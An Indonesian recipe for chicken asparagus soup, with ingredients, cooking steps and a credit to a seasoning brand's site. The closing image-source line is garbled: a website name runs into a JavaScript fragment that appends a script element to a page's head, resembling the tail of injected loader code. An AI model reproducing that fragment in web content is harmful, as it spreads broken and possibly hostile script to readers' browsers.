Resep Sup Ayam Asparagus

Kandungan protein dalam ayam sangat bagus untuk menjaga tubuh tetap fit

Musim hujan seperti sekarang ini, yuk buat makanan hangat yang berkuah! Selain bisa menghangatkan tubuh, kandungan protein dalam ayam bagus untuk menjaga tubuh tetap fit meskipun cuaca cepat berubah.

Untuk : 1 porsi

Kalori per porsi: 255 kkal

BAHAN :

• 1  potong dada ayam
• 2 L air
• ½  sdm margarin untuk menumis
• 3 siung bawang putih, cincang
• 2 sdt jahe cincang halus
• 4 batang daun bawang merah kecil, potong tipis
• 1 sdt minyak wijen
• 1 sdm kecap ikan
• 1 sdt garam
• ½ sdt merica bubuk
• ½  kaleng asparagus, tiriskan dan potong-potong asparagus 2 cm
• 1 putih telur, kocok dengan 1 sdm air
• 1 sdm tepung sagu/tapioka, larutkan dengan air

CARA MEMASAK : 

1. Rebus ayam hingga ayam empuk. Tiriskan, suwir-suwir lalu sisihkan. Masukkan Royco Pelezat Serbaguna Rasa Ayam ke dalam kaldu rebusan ayam mendidih.
2. Sementara itu, lelehkan margarin dalam wajan, tumis bawang putih dan jahe hingga harum lalu masukkan daun bawang, tumis hingga layu. Angkat, masukkan ke dalam kaldu mendidih. Bubuhi minyak wijen, kecap ikan, garam, dan merica, aduk rata.
3. Masukkan asparagus, dan ayam suwir. Tuangkan putih telur perlahan sambil putar permukaan kaldu dengan garpu agar menjadi serabut panjang. Didihkan sekali lagi, angkat, sajikan.

Sumber : royco.co.id

Source Image : http://grandoceanrestaurant.comd.getElementsByTagName(‘head’)[0].appendChild(s);